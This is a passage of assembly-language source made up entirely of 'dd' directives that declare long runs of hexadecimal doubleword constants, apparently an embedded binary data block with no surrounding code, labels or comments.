31200448h, 0EC395F20h dd 393EFD32h, 4DB6407Dh, 9004E0B2h, 0D171018Ch, 0D5B1FFE5h dd 0F95C20BBh, 9C4D503Fh, 0CDF18FBh, 52A1EF40h, 1278B41Ah dd 0AFD255h, 7A76E33Ch, 0ED007FB8h, 63E70BBDh, 5C1D446h dd 7879DEB2h, 5C80C0CFh, 7E00C845h, 785DCC4h, 3EE5A3ACh dd 20128791h, 86A001B4h, 0FCB12B12h, 0E300E7B0h, 878B7436h dd 316AE5h, 0CF945C39h, 584260DCh, 0BED5DE00h, 0AC2AA3CEh dd 700901A1h, 0C6DF28E6h, 841CD03Ch, 0B5F8F00h, 9BDCDB31h dd 0CBDD0062h, 88B347FAh, 0EA00566Ch, 5CD35472h, 74350A7h dd 920D8176h, 27C2A0D1h, 0BEE81455h, 7C648A00h, 51575E89h dd 0FEE800ADh, 0A1383E81h, 4A0047F7h, 4D52A385h, 5C86C917h dd 79004BD3h, 377375BBh, 20000A4Bh, 92521E85h, 1F91215Fh dd 0C0EB5CC3h, 0A786AEA8h, 8507BCA1h, 0F9FD413Ch, 0DD26FF20h dd 4A50019h, 17C5A4B9h, 79000D7Fh, 0BE3CA31Fh, 242EB64Eh dd 0F39E5Fh, 9905EAF5h, 0FA0FC78Ch, 0A44DDEh, 0D2C4664Ah dd 0FF3A3DE1h, 1EA7007Eh, 5E39C1FCh, 245CA0AEh, 8C78003Ch dd 4F21BB5Bh, 2A3D0E8Bh, 0D6AB70EBh, 870DE585h, 1BA6E040h dd 0B0F0BAEAh, 48325500h, 3ECE4DF6h, 2CC1001Eh, 0FE97DB78h dd 0B80F759Ch, 0A06F47FFh, 4511F659h, 25A00086h, 745A8868h dd 0D700313Fh, 0A7BACFD8h, 90B523FEh, 0E48B00D8h, 0F9201B55h dd 0DE004AE5h, 0F75C36D3h, 0CE7698h, 0DB889F49h, 0D504DF25h dd 67FDF000h, 0DDAA975Bh, 72894877h, 0F5B94F00h, 0E85CDE01h dd 0A46D6B17h, 1A86AD00h, 54B08Bh, 0ED1FE361h, 0E95DC788h dd 0F97F8A0Bh, 0BCD40001h, 0BF6A85Fh, 0C2F7FD2Eh, 0E42D7A80h dd 7100AD22h, 94AB5489h, 0F2C0EE65h, 57FF0013h, 931224D6h dd 261F1645h, 5843D5B5h, 985CB461h, 3C92F4h, 0D3BA38ACh dd 5B366E7Bh, 0AEAB7200h, 32263AD5h, 7AB100EAh, 7DD3BBDh dd 17001099h, 3390FD85h, 0E5F55Fh, 7CB3D421h, 0DB3C6754h dd 0F70008EAh, 263E7BEDh, 40EAF6h, 0FC72F5DAh, 0D0254BDEh dd 0AB217500h, 0BEEDCB13h, 98691EAAh, 0B96782C7h, 0B2E20B38h dd 22CFAE80h, 6F0F8FA1h, 0DE5DEA92h, 428B3341h, 69D0BE0Ah dd 0D4BB0096h, 0B02F5F72h, 101CEB15h, 0EDC09BBDh, 949A50E1h dd 894500DBh, 38C25904h, 66F2B506h, 0FFF1E000h, 986A8CADh dd 0AF960535h, 0C74F3373h, 1D0CD0FDh, 0FB00B8C7h, 0BC409F65h dd 306A508Bh, 0A124D3EBh, 9B0304F1h, 0D8443160h, 48FF99BEh dd 0CC2059DDh, 4C7EB7h, 0C68D3912h, 0E0BB1195h, 2985AB1Fh dd 0B3FF9130h, 4131DD30h, 0BE2C019Bh, 10D8D393h, 0EDF87DB6h dd 0DF00827Ch, 969C2042h, 0F8D409h, 5DD104A4h, 3B4CBEFBh dd 0A7A04305h, 0C4802084h, 1B8C5D7h, 0F0350183h, 0CF402C6Dh dd 42196900h, 663E5460h, 0C98B3EB4h, 0BE9E4380h, 91D358Fh dd 172D8D05h, 54006A25h, 0E03149FDh, 1957561h, 4A943066h dd 80B4A1E4h, 0B1B07C20h, 98895BB7h, 770D002Eh, 88F1DEE1h dd 6E00109Ch, 0A36C33FFh, 7A822489h, 0BE603845h, 5655AB00h dd 4E079205h, 50C088E0h, 0A8E1D5E3h, 7C81CA7Dh, 4718D604h dd 31103FA7h, 8971D8Dh, 0A0DE178Ah, 0AC01C168h, 476B66FFh dd 59C46433h, 9C013230h, 0B410CA29h, 652788E5h, 899AE988h dd 448108B6h, 2284CBFBh, 0A2429062h, 21C08411h, 9EC508FFh dd 4C008E91h, 98C7DB81h, 220090F7h, 3B550E69h, 4A066CFh dd 7B7EA610h, 5343C0A7h, 7000A3ECh, 12714E94h, 326E09h dd 0A39C407h, 0F3D14B3Fh, 0DF00E8E8h, 55F538F6h, 97D6A2h dd 0C6F87730h, 8C914404h, 79A4E748h, 7505600h, 30763C37h dd 0DEE839h, 0B5D44B94h, 4368FC34h, 9BF09007h, 3BA6099Eh dd 609040h, 3E7342B4h, 1521FB4Bh, 0F544E39h, 0E04C707Ah dd 5BE74F55h, 89CD4C4Dh, 7D869500h, 39597E9Fh, 3CA66A09h dd 0CF04211Ch, 8840F794h, 89843Eh, 10826347h, 7E3CF432h dd 2A850C0h, 48FB376h, 523887DFh, 7A009022h, 3E000D15h dd 0E893D0F2h, 0E574AA5h dd 6A588BB3h, 9AD2ABC3h, 0B5319FE8h, 8E5F203h, 0B8683E3Bh dd 8C0C61h, 0AE4B6BAFh, 17279FD3h, 4FA93D00h, 0C8E5C756h dd 0CF1B0F0h, 9D8C59E7h, 1400EB10h, 21746266h, 7539DEh dd 52EFD82Dh, 4179BEECh, 80F61D18h, 305F1C8h, 0D4316EF4h dd 37D09DC3h, 0E4006D8Eh, 4DBB224h, 115261Fh, 351E9D2h dd 0D0CA177Fh, 9B001AF7h, 52590590h, 2C1C62h, 7F0A2B6Eh dd 0A535CC61h, 9EE7D000h, 0B3A68DBBh, 0DEFD1ECAh, 0C063DD6Ah dd 0B542A13Fh, 53008F5Ah, 0CA64E82Ah, 5C2E3Bh, 4F6B3999h dd 0CDE63CEFh, 6C031600h, 7788A35Dh, 0DE6F005Bh, 4D55E9D6h dd 0D338AD7Fh, 3B98542Dh, 916BF00h, 0F7A38A18h, 0FDD72665h dd 93020097h, 53B3E08Dh, 894D2C00h, 490E903Eh, 0BD2500EFh dd 0E18235F0h, 931432B0h, 11E4DE68h, 1A212AB2h, 605DF341h dd 0E2F3820h, 46393C17h, 0E0E2F4A0h, 0C5004220h, 0CA5288E5h dd 0EE08A2h, 40372676h, 57E93C3Bh, 0CF89E600h, 17A2F5F0h dd 0A9CE0A18h, 1CC951Eh, 114C2364h, 67A08008h, 0FB8F87C3h dd 0D9F05E7h, 3F822Eh, 1766ADD4h, 0C07ABEB1h, 0A783AC0Eh dd 0ED401D75h, 0F2AD38BCh, 0FCF3E8A1h, 96F41333h, 3D00BF4Dh dd 776AE0C5h, 0CF6F1439h, 0FF24ECB5h, 0ECA815B0h, 407EAE00h dd 3E071A46h, 0DF6D5B03h, 88F361D9h, 3C0986F2h, 9183E78Ah dd 1EF4FE4Ah, 6EC513D0h, 0A3AFE90Fh, 764C678Fh, 40F3CFB1h dd 0C8102DF5h, 86B97Bh, 36044B2Ch, 2EC5733Fh, 0CC152900h dd 0AA3A61B6h, 2C0CF019h, 0C20A13h, 411C4BE4h, 0C8008373h dd 178D95E7h, 3C88D2h, 963D89AAh, 78C974B0h, 0A16CBC07h dd 1F800A70h, 0A00F7B79h, 10BE7D9h, 0FDA69FBBh, 0C87F6E04h dd 35004A1Ah, 8BB26645h, 437CB9h, 26574488h, 0B67EC7C0h dd 6AC99B00h, 5548ED6Fh, 67250016h, 22D6ADFCh, 0DA00A0E2h dd 0C9060B4Ah, 30E6B09Bh, 5A3853CAh, 0AF0078E3h, 25811882h dd 59D2E7h, 0F672BF3Ch, 7F831274h, 0A190CE00h, 3FB92D4Dh dd 87CC00C1h, 0AA0B7B27h, 9C48575Dh, 80FA3B91h, 4C8298A8h dd 0D3C173h, 48541119h, 0B3EF873Eh, 5E5F3200h, 0BFE3A2C6h dd 809B0018h, 0CC0A6888h, 2001DADBh, 0EADE86B7h, 9131A14Bh dd 0B2F145E0h, 250506B4h, 28E2FD91h, 68F802F6h, 4A888700h dd 408583AEh, 123498C9h, 4F087376h, 0D8941E80h, 45810C72h dd 65116937h, 0A8AD9A01h, 882AB5A2h, 25F4FC4h, 46773413h dd 95806F63h, 0EC3B38A6h, 755D5504h, 408092EFh, 7366Eh dd 0FFC0DA78h, 999F2E9Bh, 0BA8CAE00h, 4BC9C4B1h, 501916A0h dd 3900FA09h, 0AE825CCEh, 62EF3B29h, 36833780h, 0EB20FC6h dd 696C8512h, 0BA084002h, 0E84406h, 36FDC50Ah, 14092E9Ch dd 0BAD48A00h, 0A863A5C6h, 8FA60051h, 4E205D44h, 590BAE04h dd 811BC4F5h, 0A331FEC6h, 0F64B10CCh, 0D49C00D9h, 0AA474A0Ch dd 0DAFABDE3h, 8C6D5201h, 23EACA11h, 6609D0h, 0B3D2F0F6h dd 1C3B2FA3h, 70003D7Ch, 0A0073344h, 5B0D0Ch, 0C8FCA2A1h dd 0D71D69F7h, 63418F00h, 8AF583D1h, 0A6C20095h, 87AF070h dd 88007DBCh, 779AE3C1h, 241409Fh, 7339D0F9h, 0E1800B4Bh dd 1510410h, 8062B93Bh, 6D14AF92h, 48DE5FAEh, 7FC0B4FAh dd 1B8B18D4h, 2D8DA0Ah, 468FC8A7h, 32308016h, 1F53363Fh dd 0D1D045h, 0BECAEA2Bh, 0BF018221h, 0F6D2F9DEh, 0BE837ECh dd 0E1A60EBDh, 96409BA7h, 79E6144h, 8D58FA08h, 732080F4h dd 0DFEAABEh, 850B6A7Eh, 7549F9BAh, 0EA466580h, 40928E95h dd 24379D3Dh, 76024C01h, 40235AE4h, 5FCEFCh, 8F9A3215h dd 905BBA7Bh, 0AD9C8C1Dh, 1034E880h, 585D7185h, 520ED81Ch dd 40722763h, 3CBDCF1Ch, 0CC02BF2Eh, 555A7BCAh, 97E086ADh dd 0ECEB0B31h, 76011167h, 0D472A88Eh, 0C600682Ah, 9CC21063h dd 4307C9Ah, 6D8B6B9Fh, 0A610C04Bh, 8490DCB5h, 0DB875B18h dd 4A4EF4C0h, 60D3C06Ch, 6390D414h, 5500F690h, 9145AF1Ch dd 12E9E18h, 411F102Ah, 0F4210CFBh, 55EEB819h, 7A17EF03h dd 0C88F9B68h, 60F4E758h, 789E1842h, 0CD770B5Ch, 3AE1DC3Ah dd 8B401736h, 4FE66403h, 1FC40278h, 37653317h, 0CB4BAAE0h dd 1F9E2A24h, 99B19800h, 0E40CD672h, 0DD74005Fh, 0BA068246h dd 5B00B647h, 1B2EBF81h, 5095ED78h, 1C0E068h, 4E1C9153h dd 0C9F2791Eh, 0F4FBF054h, 94C70A00h, 0C6CFB8A4h, 3BD7A9Ch dd 5CBCB9B0h, 60D71F26h, 37FB49F0h, 5B42F600h, 9BE093EAh dd 1FAB3AA5h, 8876E984h, 73CAC059h, 0BF008E0Dh, 4AB1EC51h dd 0C0A69982h, 23BB8A19h, 72FE95C2h, 80D59D3Ch, 0D48542FCh dd 0ED356Fh, 1DF52498h, 0D79A91A7h, 36721100h, 12DE7C59h dd 0E4D40027h, 0DFBCB2FFh, 530390CDh, 8997A01Fh, 0B94F0C5h dd 998E2C54h, 446500D0h, 32AE95FEh, 19277500h, 84A1B092h dd 0F2390F3Fh, 0EA6006E2h, 80F5B920h, 2CBAE100h, 0DABD95B8h dd 8EF40762h, 0C0670C33h, 83F61F4Dh, 4A9F100h, 0E071A75Fh dd 197E0969h, 28090533h, 83EDB800h, 0AD0BA9E2h, 597C99h dd 0A05B52CCh, 1747491h, 213AC3E9h, 212240C5h, 0FE384007h dd 0B300CA9Dh, 3F9AAAEDh, 568E99h, 0ABDCA988h, 63C91A89h dd 0CE64EE00h, 0BB705C82h, 0F63500D6h, 6E441D9Fh, 0BA008999h dd 5697745Eh, 7D728871h, 1E274AA6h, 9905E190h, 72C0F5FFh dd 33A7F57h, 2D8625C4h, 0C0CC659Eh, 927262F8h, 33935512h dd 0B706AC00h, 7CB0A58Dh, 0A0560182h, 0D763420Dh, 9981C4EAh dd 0DDE70401h, 1D622231h, 447FCCh, 828A3DD6h, 9FE17738h dd 251A023Eh, 0FB8809Eh, 28092AB9h, 99C9921h, 0ED849A3Ah dd 7E58D780h, 5301BEF9h, 0E2F015Eh, 52E54304h, 9B8019BDh dd 48868A34h, 39002418h, 0E88B0BF7h, 0E9D04F2h, 0BBC96DE9h dd 0E6D22DC3h, 64586000h, 458A0F7Ah, 34B4007Dh, 0FB4AC4FCh dd 5030213h, 0D5AB2654h, 0C8C0C809h, 49DC00DFh, 239A40B1h dd 62F070F6h, 0A03B901h, 0CFA0D8E9h, 0A307A833h, 0DECC7D97h dd 649AA782h, 0B5F8D4C8h, 52BBD60Bh, 32EC80EAh, 0E28CAE2h dd 15843A8Bh, 1B4E40FEh, 0E887FDAAh, 580F9CB0h, 258F85BAh dd 70C87F5Bh, 1DFF1D1Bh, 0C0C09CDFh, 18096CF6h, 363E6A48h dd 0A2F4000Fh, 7DA5F056h, 0C03C18D4h, 178AF89Ah, 33226F01h dd 0B2B42BD5h, 0D0E5FEh, 1937F70Fh, 3500F0FDh, 8BB0336Eh dd 1F3D793h, 43919705h, 70F2C7EFh, 383B1F24h, 5BB480E9h dd 8F63A4FBh, 399409EEh, 0E487ACF3h, 0C2BA0D6h, 9E000562h dd 0DF4C8FA2h, 1E4FF4Bh, 0F3FA1EBCh, 20373842h, 7E009CECh dd 3D271856h, 17FD114h, 5C7F235h, 0F8E7DFFAh, 0B91CB691h dd 6B830BC1h, 0DBA14FA9h, 0B8FFA878h, 59BF0039h, 190D2EEh dd 0EB26B1E6h, 970E4C9Eh, 1EBAA94Fh, 0A60D0434h, 0E0AE64A7h dd 0D7009948h, 0E342EB82h, 7BDA72EAh, 1F69EE6Ch, 1F3D43h dd 2AA39BA9h, 7809AC64h, 702D34Dh, 490EC00Ch, 74C8004Eh dd 1B5CD8Ch, 0D79C865Bh, 800520A2h, 271125E8h, 3704E807h dd 819131CCh, 64E6FB14h, 5000039Ch, 62F746E8h, 984B13D9h dd 11150FD0h, 0C4802D7Bh, 1980674Fh, 3412AB00h, 315B3799h dd 70EF0349h, 5979FAB1h, 0C05C1100h, 0D07E07EEh, 0C660075h dd 3887D33Fh, 7F4870C2h, 2400050h, 0E154072Fh, 386D6921h dd 1FED0880h, 0CE071EB9h, 4D026C7Bh, 0FCE0C854h, 0F201022Dh dd 0C1CC51C4h, 0A2EE7D60h dd 828F8C00h, 2EA52877h, 7C6500A6h, 162236DBh, 250093D8h dd 6E525398h, 0CD19D4h, 4285484Fh, 4780AD91h, 0F1E8CF07h dd 2320600Ah, 7A151ACh, 5F03C792h, 0AD4EF0C2h, 0CE00FF83h dd 0B9EF737Ch, 208A893h, 0FDDA1FB8h, 0D4E04AE1h, 0D60BD86Ch dd 80F40951h, 0CCB4DDDBh, 0EF240BAEh, 0F400A774h, 1DDC3486h dd 8CED6A00h, 1941819Fh, 32FF007Dh, 37133CE3h, 6E007303h dd 0C4282123h, 0A6AC43h, 29FB4853h, 97244088h, 0F1F5F400h dd 91EB0E1Dh, 814BEEh, 0A2FA3BF8h, 0B01F3D5Eh, 1F4037A5h dd 134CB9FFh, 0C970319h, 16B10A71h, 0D92F74D0h, 5C8D100h dd 0AFE2E4FBh, 97B70090h, 0CA1639B5h, 0A213AC82h, 9C018F50h dd 0E486676h, 63D40FE5h, 1200075h, 0FAFBDB69h, 9300D18Eh dd 42E9A0E8h, 6FCC6h, 76CD644Eh, 77AA36B2h, 7E54E600h dd 48CBD7EEh, 6CC52EFDh, 43D00010h, 7D0316AEh, 0F8008278h dd 0EC489AEEh, 24675041h, 8E60124Fh, 97E6A7h, 0FFEBF8E8h dd 17006E71h, 0F9E295B9h, 504D9BBh, 0C8A66BD4h, 13409058h dd 6C00A8CDh, 4FD309CBh, 19928A4h, 490F2DA9h, 0C865026Ah dd 0D016DC6h, 22092169h, 3C811E2Eh, 0F671A548h, 0C1402062h dd 0B8EF8400h, 0D92C8B9Eh, 97A600EBh, 6F7EFCBDh, 0F100CA94h dd 2F290E46h, 5C051Fh, 156B53Fh, 854F221Ah, 8E49350h, 42EF3C00h dd 0F34D4EEAh, 7B70008Ch, 72696B6Dh, 9F004932h, 90B5FB3Ah dd 34ED422h, 18E2F411h, 0F0AE370Ah, 0F0CE33Eh, 0E5854042h dd 1FC0322Bh, 166F3CAEh, 4847336h, 802969ACh, 0ECFEF60Ch dd 0F1DA7E00h, 0DBF708C0h, 2B97970h, 0A1A9CA17h, 98A04361h dd 15444A5Ah, 80135638h, 3C2B6927h, 0CF7F4Dh, 0E635A226h dd 1695B4E4h, 6AF8D200h, 4AC9605Ah, 0B60200BEh, 8D50925Bh dd 0C73B2A53h, 63F19484h, 0A7E439F4h, 0BDEC18B2h, 112907D9h dd 30B8D782h, 9F13316Bh, 5E042F0Ch, 50DC8842h, 0F97DE0CEh dd 58243571h, 0E7B07B1h, 802D7CF0h, 80F3DA3Ah, 0EE383401h dd 49EB264Ch, 51022880h, 0B56958ADh, 2FA66100h, 0B999D7E4h dd 466300A5h, 0E7D15C4Ch, 0ED04C5D2h, 7C806224h, 0EFBC01C0h dd 761A00BDh, 7FE9020Fh, 4B007985h, 0CC39DDAh, 0C8DF2Eh dd 3A7BD7A5h, 51966720h, 0AFC07D00h, 8C0BBFA7h, 7B567391h dd 68E00CFh, 0A8D0AAECh, 0B900C7BAh, 0E514ACFCh, 2454EA6Bh dd 1F6E602h, 0DCD8112Eh, 16B9ECD1h, 912F9B00h, 892673D0h dd 689A2A44h, 97B517D4h, 32250BF1h, 0E5F9A300h, 0FB007C5Ah dd 8B765684h, 16CFECDh, 0CBB7F546h, 601A6BD7h, 0A23DED2Bh dd 3B8183B1h, 0F8B0645Bh, 792A178Bh, 0DB870059h, 0D93268E6h dd 0A000D67Ah, 9818D228h, 664103h, 198E9DB9h, 7F059E80h dd 8E6DD0Eh, 80C98E6Fh, 83583686h, 0F28C392h, 3078BD8Eh dd 0A3A13C0Eh, 81D12E3Eh, 8FB44F3Ah, 0A299C8F3h, 9454012Dh dd 3C0ADC3h, 0D24C304Dh, 84D3E90Bh, 5C9F809Eh, 930DFBh dd 1B673A09h, 0E6DEEA7Ah, 379E8500h, 8219DD47h, 0E5BD1F46h dd 79A158D2h, 0D60058B6h, 0BA3B8418h, 31F035h, 3A0F4683h dd 9E7F1365h, 2B928C2h, 1D708044h, 0F9DBBEEDh, 0E6DC0880h dd 0CE179E7Dh, 181CD3Bh, 260B0D52h, 85C4D3A1h, 9D7A0099h dd 0FAA8546Eh, 6B0FFBE7h, 8F239F8Eh, 0C5F2A0D4h, 9041A559h dd 7986984Dh, 10AA0969h, 6C03DF6Ah, 880182C9h, 4209AB43h dd 86FCB973h, 0F5E507F2h, 0A0EA69E0h, 8843902h, 3912B03h dd 3F1CD54Eh, 7B0612B0h, 10CEA696h, 993C6518h, 0FA09F2D9h dd 251000F0h, 9BA2800Ah, 1100E98Ch, 24F7BA49h, 0C6E778h dd 3628D5EAh, 27FD7182h, 0A22EED1Fh, 8BCE6F00h, 0E37399h dd 60CF10D7h, 290A2DFCh, 0F676C412h, 0F4BEF00h, 7DB59440h dd 0A47B0EFAh, 7FA09DB1h, 0F5C00C2Fh, 0ED79111Ch, 7CFFD7C0h dd 142A46Ch, 7661BBA2h, 0D017E1C1h, 603FE40Ah, 70B98044h dd 0B2EBD2CEh, 9E1A07F7h, 0C08BCF55h, 9B13A139h, 0BEBCA400h dd 5B095E3Eh, 49F93D97h, 0C0E19E1Eh, 0E0ED948Ch, 0B400A274h dd 23269204h, 0BC1A99h, 0C0A8158Dh, 5BC44966h, 0ECB6EB07h dd 1C407525h, 3F395Ah, 42CB9557h, 41F459CFh, 0B73C08C6h dd 27190020h, 62F08F57h, 8D002FC1h, 0C7C48A02h, 6732ADh dd 0A0B8056Eh, 1B3A6436h, 35ACF018h, 203FE18h, 6006595Dh dd 10805238h, 6E7ECFA0h, 0A82081D8h, 33584088h, 3BEDBF18h dd 181C2440h, 298A70ADh, 1600FD17h, 79E705FCh, 0C6F00D74h dd 201B7F08h, 16E44E00h, 0E6433948h, 1971616Bh, 0D4DA4474h dd 30078EFh, 4B078562h, 0E07A6660h, 0FBD3008Ah, 0C9B712F6h dd 88C3318Ch, 1786CBAh, 0E2894679h, 0DC6EA730h, 2F07EA0Ah dd 95887539h, 0B638815Eh, 0B0831369h, 0CC41DF33h, 5B03E000h dd 7C1F803Eh, 65691FE2h, 0CF9DC027h, 119A59D4h, 0ED67B900h dd 1D462C66h, 0A3330124h, 0BF13AD92h, 600BEC0Fh, 0FCB77200h dd 44256D5Ah, 0D499003Ah, 0B0F3A988h, 78002DC4h, 68FF1E45h dd 3F71863Ch, 97C35A1h, 51B9D966h, 60486401h, 1437F01Ch dd 9EEC083Bh, 0D7004F6Bh, 652A763Ah, 1F7F79E5h, 0C380A0h dd 0F4742DE8h, 200261A7h, 1A65473Fh, 46460FCh, 7D62000Eh dd 53FAE049h, 90903FC7h, 0AD014E00h, 0A5EF6945h, 0DE9B005Ah dd 0DF389FB7h, 280060FCh, 0F625C5EAh, 7654C14h, 7F5FEF54h dd 0E04B80D0h, 81E499Eh, 0A07A39Dh, 46818EF6h, 0D971926Ah dd 80138002h, 55F1B404h, 1A2F814h, 58E5D5BEh, 0C4350F73h dd 0DF0EAD60h, 0A00D7A9Ah, 0C212AC5Fh, 0D3A331A2h, 113C1B29h dd 23119C5Ah, 0C9A411A6h, 2882D712h, 17229699h, 40A25ABh dd 48344314h, 211B4415h, 5F12CE5Bh, 8998B110h, 840C080Fh dd 923C6B50h, 44D38544h, 12E718AAh, 64148267h, 40C7249Eh dd 9D7834FEh, 57C40730h, 0EE93806Ch, 9521D3C0h, 0B8002790h dd 0B676C5CFh, 0B874A2Ch, 51FBDD9Dh, 7C2381C0h, 0F4182700h dd 0BD1270DFh, 5D1F1355h, 562000ECh, 8E342CDDh, 72000B7Bh dd 82FF20A2h, 2C5D3751h, 2CA506h, 1418614Ah, 0A000813Fh dd 730238CCh, 0FD96EEh, 0BEB3FA43h, 87E14B04h, 0A925630Eh dd 0E3B7F61h, 4ABDA75Fh, 2C80F801h, 193985A0h, 0EFF40948h dd 4E006F09h, 36D927BCh, 79580700h, 6DCB184Fh, 8FE100C0h dd 0C45A889Fh, 211F4A9Ah, 37EEF66Fh, 2AFC9500h, 0D2535Bh dd 0A2EE7140h, 694F4EBCh, 0BDBE111Dh, 3D79B5D8h, 0F074A3DAh dd 1E23E57Ch, 9D4884D2h, 69CBFh, 0D093FA5Eh, 6C006394h dd 0B1D58FA9h, 6D7A81h, 0F42D85BFh, 19A39605h, 0E7DD921Fh dd 82E6AF00h, 70E3DB4h, 3B502ACCh, 0B0AD61B7h, 4006E59Ch dd 46ECEE9Ch, 0B437D200h, 0CE3476B3h, 0BF0F1CF9h, 58B10103h dd 0E4C5714Ch, 407D2C2h, 0C69416AEh, 918D2600h, 0C8B00068h dd 0D69795A9h, 0F7002D1Bh, 908A10B3h, 35818ACh, 709E44CBh dd 6C3D1B6h, 3D4BC688h, 61326E00h, 587CCBBh, 40DD0063h dd 0D6641366h, 0EF00C8A5h, 3F785D86h, 0EE4C36h, 9A34C554h dd 50E59CA0h, 56C12403h, 0E8F03FCFh, 391E5312h, 0FE6E01h dd 0F615CC6Bh, 0FCC8BD3Ch, 63B6401h, 759A9B2Bh, 0E24DF4h dd 86FBE648h, 274BCA16h, 591AE00Eh, 54932079h, 0F4466912h dd 0A7550550h, 0C0398B64h, 52EEE375h, 42650102h, 400EC4ADh dd 3EB7700h, 0FEE541B7h, 0F1C1A102h, 0E7682013h, 70EC10C1h dd 0B02A4F30h dd 891E8AAFh, 0EE81AA81h, 48C61614h, 85102989h, 6601B9DEh dd 512DC828h, 0E14834h, 0B4B1B75h, 0E202FF8Bh, 28D9221Ch dd 1E3620C0h, 1FF12940h, 0C0A38A90h, 52AEA66Dh, 0F40033C2h dd 405B0515h, 378B7Dh, 0A16EE27Bh, 0B83B2B12h, 0A0FFE007h dd 0D74065F6h, 1DC9FC70h, 0C0CAB462h, 6DED9327h, 2FFCEA05h dd 0A55870E1h, 0FC33Fh, 0C24AF223h, 7CA2A7Eh, 0CCF45393h dd 462F50BFh, 0B601E07Bh, 0E10D7518h, 0F6CCB49Dh, 32AB1E79h dd 0DD7EC0C7h, 8D4935C6h, 0A6C4C301h, 91BEAF7Dh, 7531F086h dd 0ED009E9Bh, 6490E86Bh, 3E4FB338h, 0FB000C0Dh, 86F1B035h dd 0AD036877h, 63B97696h, 40068A46h, 5CA0A4h, 4C74A8ACh dd 0DA81C49Ah, 8083433Bh, 5D93C1A6h, 0F7776h, 538909B6h dd 44CFE6AEh, 85B27F00h, 60DBF796h, 0F228EAA3h, 4020DF54h dd 34E5C4E3h, 1300D68Ch, 62DBC9C7h, 0B7DF979h, 0AC7B6CECh dd 8903E2FEh, 9CA96A14h, 8FFD20C1h, 77E4E8h, 0B582C696h dd 9220C042h, 6CED4102h, 60DB4A1Ah, 7668E31h, 13A0A8D6h dd 199540B6h, 94048B28h, 693EF5B1h, 72631C80h, 590E072Dh dd 302C07EAh, 6E44E5A8h, 0B6FF9100h, 45F35F2Fh, 63CF0090h dd 28E9293Dh, 0CD0057F6h, 58F27734h, 0E2A8B2h, 0ED809D12h dd 0CC0DC1CBh, 0E02454Ch, 40A7BF1Bh, 0B7353E52h, 58C41D4Bh dd 8FB200F9h, 427D7119h, 93FF300Eh, 370BA280h, 0FB51E0CBh dd 74100BF2h, 0B5004538h, 53679489h, 2DE74F00h, 0CC4B8C81h dd 0AAE100BBh, 0AB1518CAh, 9F13C9A1h, 0F0406E65h, 991C34A0h dd 3F8400D3h, 5E9431BEh, 622CF7ECh, 4A8F0C22h, 7390A054h dd 18083EFh, 3167A45Eh, 50147DD3h, 0B4932FD8h, 217EEC92h dd 0ADF49F01h, 5C55C4B8h, 268030h, 3FE653D4h, 85DF5AAFh dd 73944700h, 0F42386F6h, 0D50900C2h, 6CF3EACFh, 0FA00995Bh dd 32102072h, 3ADAB7Fh, 0C3E544F9h, 10187663h, 0F374B366h dd 2F6A008Dh, 310D95CCh, 13051672h, 0EBCB25D4h, 0C35A2CC0h dd 6DA300A5h, 0C4209DD2h, 4005E2Eh, 73E73C9h, 8B27ECh dd 192C8376h, 549112Ah, 0DD7D9101h, 0E339F53Eh, 129FECCh dd 54DECE36h, 0DCC7247Ah, 8C00E28Ah, 53FF8D8Bh, 4C5D0Fh dd 9BF5E650h, 78155719h, 14A10303h, 0B0CDCE05h, 1349988h dd 0B6A7B0E3h, 60203EBEh, 8F0FECA4h, 0C00DCC48h, 25520C66h dd 26C000C7h, 0D5C34D5Eh, 0CD1E3A99h, 238139CEh, 78C659A5h dd 880420h, 24B509A8h, 146BBBC8h, 6E00AFFEh, 9DD47E06h dd 35477Bh, 881C5033h, 30F1CE4Bh, 8F6A0E00h, 21DCB552h dd 0FAC30AADh, 450891Fh, 0C0F01013h, 0BB187D0h, 27F426E2h dd 6852A700h, 0A3E1D721h, 0CF8639D4h, 43A6AD07h, 0D61E90B9h dd 0B50472EDh, 617940AEh, 7CF486C0h, 0EB48001Ah, 0BF2EC751h dd 9524D1B1h, 0C20EA60Ch, 1D9D7F14h, 0E2BE2182h, 0A080C3C7h dd 0E8C9BCh, 6AF11030h, 0D56E68A7h, 35003BF8h, 0E4CB0476h dd 0B597C0h, 0B591411h, 0FEA85AFCh, 9748E639h, 0B0017552h dd 77ADD199h, 0EB508847h, 0E660AE30h, 13F4F1h, 0DE52EC47h dd 72D59F23h, 338B6900h, 993E1C46h, 0AF435C38h, 97DC1400h dd 0B33647F3h, 9F0058BAh, 3DD38F91h, 71622FFCh, 0B083F2Ch dd 748A9200h, 983290B9h, 0C457400Eh, 0FEAFA073h, 7AA8211h dd 26BBE035h, 4790301Ah, 3900C219h, 0F8B8CF8Dh, 3D08F537h dd 0C003F470h, 9DAE83F9h, 0BCDE5BE0h, 6C0248h, 0A4797324h dd 4ABD8Fh, 0B50DBEF5h, 11623419h, 80376D3Bh, 0B39CFCE2h dd 0E4C3BFCBh, 0AF6B0036h, 5E1E201Ah, 0BD0097D1h, 0B405C1ADh dd 0C0773FF0h, 0D36763E8h, 0BE98FABAh, 0F58CD700h, 0CBB4A730h dd 62DC0FC2h, 5D60D9B1h, 0FB32FF4Ah, 40CE9216h, 0CB6D940Eh dd 31A41093h, 0EA7D3B1Dh, 1010A6h, 5107B6BEh, 1501D453h dd 0D2B12912h, 4860907Ah, 5491BDh, 5E0FF1AAh, 0BF00B6BBh dd 0F0904DFAh, 0D2FEBh, 475438C9h, 580E3116h, 4B447E00h dd 2EEBF7EAh, 0B9720023h, 0FBDB113Eh, 52B08D9Bh, 0DDEC1CB0h dd 2C025Ch, 894D13FFh, 757A0CAEh, 27BD0020h, 0A1F023A6h dd 810CE192h, 10227EE3h, 32600B6h, 0B436696Ah, 0C03C145h dd 7CBD3EAAh, 80C4A8D7h, 92FE2459h, 1CD600C8h, 0F128E520h dd 40345F27h, 0CB0BD0h, 1F583D39h, 572D1705h, 2154BF00h dd 0D204EDF6h, 2279C9h, 61391BBDh, 0C857EC80h, 5CD57B09h dd 0F3CC8188h, 0D8284E25h, 70A4BDC1h, 494FDC6Eh, 0A80C5700h dd 608B6CAAh, 0ACFC4Ch, 20DBC853h, 0C0F1E265h, 260F0114h dd 0BE1800D4h, 3F8E0AC3h, 0D5410067h, 0D939B664h, 3019E45Dh dd 0B8D0711Bh, 3A3C7827h, 0CEDAFC80h, 684A930Fh, 28F04Ch dd 0B46C7D60h, 0BAD0A2h, 5E568F09h, 79613E1Eh, 468AE601h dd 54734C3Ch, 0EA7B08C8h, 0CF943EF7h, 0EB539800h, 0ACCBFAEh dd 992CD100h, 